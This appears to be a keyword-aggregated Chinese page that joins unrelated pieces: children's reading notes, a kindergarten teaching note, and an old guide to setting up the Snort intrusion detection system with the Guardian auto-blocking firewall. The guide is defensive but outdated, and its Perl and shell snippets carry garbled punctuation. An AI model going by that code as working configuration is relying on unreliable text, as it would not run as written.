1．修改自己的随笔。
2．以第一则内容为素材，可添加想象，写诗(不少于四行)。
篇7：一个少年笔记的读后感
一个少年笔记的读后感
很幸运，前阵子在妈妈的陪伴下，我们一起走进了一个少年的笔记，那个少年，就是现在的'叶老先生。
《荷花》，是一篇详细、清晰又优美的作品，当我读到“我忽然觉得自己就是一朵荷花。穿一身雪白的衣裳，透着清香。阳光照着我，我解开衣裳，敞开胸膛，舒坦极了。一阵风吹来，我就迎风歌唱，雪白的衣裳随风飘动，不光是我一朵，一池的荷花都在舞蹈呢。这不就像电影《天鹅湖》里许多天鹅一齐舞蹈的场面吗？风过了，我停止了舞蹈，静静地站在那儿。蜻蜓飞过来，告诉我清早飞行的快乐。小鱼在脚下游过，告诉我昨晚做的好梦。”我仿佛就在荷花池旁，闻着清香，欣赏美景。荷花的'姿势千姿百态，闻着清香就可以走神。这样的美景可真让我陶醉啊！
“有一天早上，在学校里看牵牛花，朵朵都有饭碗大，那紫色鲜明极了，镶上一道白边儿，更显得好看。我看得出了神，觉得自己仿佛就是一条金鱼。”我疑惑不解，那牵牛花真有饭碗那么大？那花拥有怎样神奇的魔力可以让叶老入迷？我也真想见见这样的景色。
每当我再一次翻开一个少年的笔记，就会想起那个少年。因为，一颗少年的心，就是一颗诗人的心。愿你我伴随一颗诗心一同成长！
篇8：推荐一个入侵测系统+主动防火墙Snort+GuardianWEB安全
推荐大家使用一个入侵测系统+主动防火墙-->;Snort+Guardian
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Snort 是一个开源的轻量级入侵监测系统，可以监测网络上的异常情况，给出报告；
Guardian是基于Snort+IPTables的一个主动防火墙，它分析Snort的日志文件，根据一定的判据自动将某些恶意的IP自动加入IPTables的输入链，将其数据报丢弃，
我自使用Snort+Guardian以来，每天可以看到很多的恶意行为被终止，心里很是高兴！
推荐大家使用！
安装步骤：
1）安装Snort:
*现在Snort & Guardian,目前下载地址为：
www.snort.org/dl/snort-2.3.0RC2.tar.gz
www.snort.org/dl/contrib/ ... guardian-1.6.tar.gz
*将上述文件拷贝至/tmp
*tar zxvf *.tgz
*cd snort-2.3.0RC2
*./configure
*make
*make install
*mkdir /etc/snort
*cd /etc/snort
*wget www.snort.org/dl/rules/snortrules-snapshot-CURRENT.tar.gz
* tar zxvf snortrules-snapshot-CURRENT.tar.gz
*mkdir /var/log/snort
*cd /etc
*vi snort.conf
修改后一些关键设置如下：
var HOME_NET yournetwork
var RULE_PATH /etc/snort/rules
preprocessor http_inspect: global
iis_unicode_map /etc/snort/rules/unicode.map 1252
include /etc/snort/rules/reference.config
include /etc/snort/rules/classification.config
如：yournetwork 220.8.0.0/16
同时，可以选择将类似
include $RULE_PATH/local.rules
等，前面的#号去掉，设置自己的规则集
* /usr/local/bin/snort -D -l /var/log/snort -c /etc/snort.conf
* 将上一条命令写入/etc/rc.d/rc.local
2）安装guardian---需要perl支持
* cd /tmp
* tar zxvf guardian-1.6.tar.gz
* cd guardian-1.6
* echo >; /etc/guardian.ignore
* cp guardian.pl /usr/local/bin/.
* cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh
* cp scripts/iptables_unblock.sh /usr/local/bin/guardian_unblock.sh
* cp guardian.conf /etc/.
* vi /etc/guardian.conf
如下：
HostGatewayByte 1
# guardian的日志文件
LogFile /var/log/guardian.log
#guardian从何处读取snort的日志
AlertFile /var/log/snort/alert
#将你需要忽略的IP放在此文件中
IgnoreFile /etc/guardian.ignore
# 封锁IP的最长时间，99999999为没有时限
TimeLimit 86400
* /usr/bin/perl /usr/local/bin/guardian.pl -c /etc/guardian.conf
* 将上一条命令加入 /etc/rc.d/rc.local
至此，完成设置
注意：
1）snort的规则文件经常更新，可以使用如下脚本自动更新：
#!/bin/sh
cd /etc/snort
wget www.snort.org/dl/rules/snortrules-snapshot-CURRENT.tar.gz
tar zxvf snortrules-snapshot-CURRENT.tar.gz
exit 0
*将上述脚本存为snortupdate,并放置到/etc/cron.daily/下，可以每天更新一次；
2）guardian有时会自动退出，可以使用如下脚本解决：
#!/usr/bin/perl
use Proc::ProcessTable;
$found=0;
$t = new Proc::ProcessTable;
$g = “guardian.pl”;
foreach $p ( @{$t->;table} ){
$f=($p->;cmndline =~ m/guardian/);
if($f==1)
{$found=1;
last;
}
}
if($found == 1)
{
print “guardian is alive!n”;
}
else
{
print “guardian is dead!n”;
print “restart guardian now ... n”;
system “/usr/local/bin/guardian.pl -c /etc/guardian.conf”;
}
将上述脚本存为testguardian,放置到/etc/cron.hourly下,意思为：每1小时检测guardian是否存活，如果已经死亡就重新启动guardian
chmod +x /etc/cron.hourly/testguardian
同时，编辑/etc/crontab
在path一行加入/usr/local/bin
脚本：killguardian
#!/usr/bin/perl
#杀死当前guardian.pl进程，需要安装perl module Proc::ProcessTable
#访问www.cpan.org可以获得上述module
use Proc::ProcessTable;
$t = new Proc::ProcessTable;
foreach $p (@{$t->;table})
{
kill 9, $p->;pid if $p->;cmndline =~ 'guardian.pl';
}
篇9：教育笔记：一个表扬一次鼓励
怎样让幼儿更快、更好地在文明礼貌、良好行为习惯养成方面得到提高呢？开学来我在工作中通过实践总结出了一点小小的经验，那就是充分利用一切时机来表扬和肯定班级里有进步的幼儿。 今天晨谈时，我问孩子们：“小朋友们，你们知道今天我又要表扬谁吗？”“不知道。”“我告诉你们吧，今天我要表扬琪琪，因为昨天放学的时候，家长们来接宝宝，琪琪用响亮的声音和老师说再见，还和老师挥挥手呢！今天早上我在教室就听见了琪琪大声地问老师好！对于她来说，这是不是一个特别大的进步呀？”“是！”确实如此，琪琪是一个内向的孩子，很少和同伴接触，总是自己一个人默默地玩，户外活动的时候也只和翔翔在一起，老师和她玩她也不是很情愿。通过和家长沟通我们了解到，她在家和在幼儿园的表现简直是判若两人，怎么让她在幼儿园快乐起来呢？明天的教学活动是美工活动。我首先想到了琪琪，我悄悄地和她商量：“明天画画你来给小朋友发蜡笔，好不好？”她点点头，露出了笑容，每个孩子其实都很希望能得到机会表现自己，看见她这样，我很高兴，并马上说：“发蜡笔的孩子都是最棒的，都是能主动向每一位小朋友、老师和阿姨问好的宝宝，你想不想？”她又点点头。“好！我相信你一定是最棒的。”与此同时，我也做了家长的工作，以获取他们的支持。第二天，琪琪很早的来到了幼儿园，情绪非常好，真没想到她问好的声音会那么大，和平时真是判若两人。我很高兴，就在晨谈时兴奋地表扬了她，她的脸上露出了少见的笑容，我觉得她在慢慢地向成功靠近。果不其然，第二天她离园时主动、大声地向老师挥挥手说再见。于是我再次在晨谈时表扬了她，就出现了上面的一幕。 午饭前，孩子们陆续的在洗手，这时，班里的小帅哥宝宝兴奋地跑到我面前，自豪地用并不流利的普通话说："周老师，刚才我看见地上有餐巾纸，就帮你捡起来扔迸垃圾桶了…… 宝宝能主动维护生活环境的卫生，是我们开学到现在长期培养的结果。我又马上表扬了他。在平日对孩子的教育过程中，我们注重对孩子进行良好行为习惯的培养，每一个环节应该怎样做我们都会告诉他们。这样一来，孩子们在按照我们要求去做的同时，在思想中也逐渐形成了这样一个认识，我这样做能得到老师的肯定。我们在教会孩子应该怎样做的同时，还通过环境的熏陶，让他们懂得自已也是集体中的一分子，共同生活的环境要靠我们大家来维护，每个人的行为对集体都会产生影响；自己每天生活的幼儿园也是大家共同的家，优美整洁的环境对每个小朋友都有好处，也要靠小朋友一起维护。在日常生活中，我们还鼓励孩子通过劳动，用自己的双手为自己、也为大家创造出一个清洁而美丽的环境。 《表扬和鼓励》是我看过的一本书中提到的做法，我把它运用到了工作中。通过这样的及时的表扬和鼓励，孩子们在文明礼貌行为以及良好行为习惯上有了很大的变化。
篇10：《一个这样的老师》阅读笔记
《一个这样的老师》阅读笔记
一抹灿烂的阳光，透过窗子的缝隙照射在我手中的书本上。此时，我正好读完了《一个这样的老师》这篇文章。它给我留下的印象十分深刻，让我深受教育。
文章讲的是一个叫怀特森的老师，在一节课学课上，竟然编造一个叫凯蒂旺普斯的动物来考验大家。同学们也很好奇，但对于老师的话却深信不疑，结果在考试时一个人也没及格。刚开始我也和同学一样感到十分惊讶，十分困惑，又气愤，认为怀特森老师不是个好老师。可慢慢的，我发现了这位老师的.良苦用心，他目的是要让我们明白在不确定的事情中，要学会质疑，学会独立思考，自己判断，应当要有坚持科学真理的毅力，学会探索与研究。
此时，我又不禁想起自己在生活中总是过于相信别人说的，自己没有实际去探索，独立思考与判断，因而很多时候，自己得到的却是错误的信息。
还记得那个天气晴朗的星期日里，我在院子里给自己种的小番茄浇水，它刚长了几片叶子，我笑盈盈的看着小番茄说：“小番茄，你要快快长大，结出许多的番茄。”就在这时，我的邻居伙伴小丽看到了，她快步朝这边走来，兴致勃勃地问我：“你在给小番茄浇水呀？”“是啊！你看它都长出几片叶子来了。”我得意洋洋地回答。小丽又惊喜的说：“哇！我听别人说要给这些植物浇更多的水，然后再拿到阳光强烈的地方摆放，让它们吸收更多的水分、阳光，这样才能快速长大嘛！喏！你看看我家阳台上的百合花，是我刚放上去的呢！”我抬头一看，真的是小丽种植的百合花，它在强烈的阳光下，现得格外耀眼精神呢！于是，我毫无疑问的相信了小丽。将大量的水浇在小番茄上，一会儿，小番茄就被水淹没了头。我有些担心的问小丽：“这样不会淹死小番茄吗？”小丽大笑起来，又斩钉截铁地说：“怎么会？你放到阳光下，水自然会干的！”我恍然点点头。于是我把小番茄移到阳光十分强烈的地方，还天真的希望小番茄能快快长大。
一连几天，我都是那样做，可是最后我的小番茄却死掉了，我怎么也没想到会是这样，小丽的百合花也枯萎了，我俩之前的辛苦也全都白费了。后来，我们通过查资料，询问相关人员，明白了种小番茄应适当浇水，早晚各一次，并且放在阳光充足的地方，不能太过强烈，每天注意观察，防止有从来侵害。唉！虽然我和小丽各种植的植物都死掉了，但是我们从中吸取到了教训。我们明白，凡事不能光听信别人说的，这只是“海市蜃楼”，没有事实证明，同时自己要学会思考、判断、探索！
“书本上写的，老师说的，并不是一贯正确的，事实上没有谁是一贯正确的。”这是《一个这样的老师》这篇文章里的一句话，它深深地印在我脑海里，时刻提醒着我，凡事要学会质疑，要有坚持真理的毅力，时时要保持警惕。不仅如此，更要学会发现，探索科学的奥秘！这样我们的生活变得更加多彩有趣！
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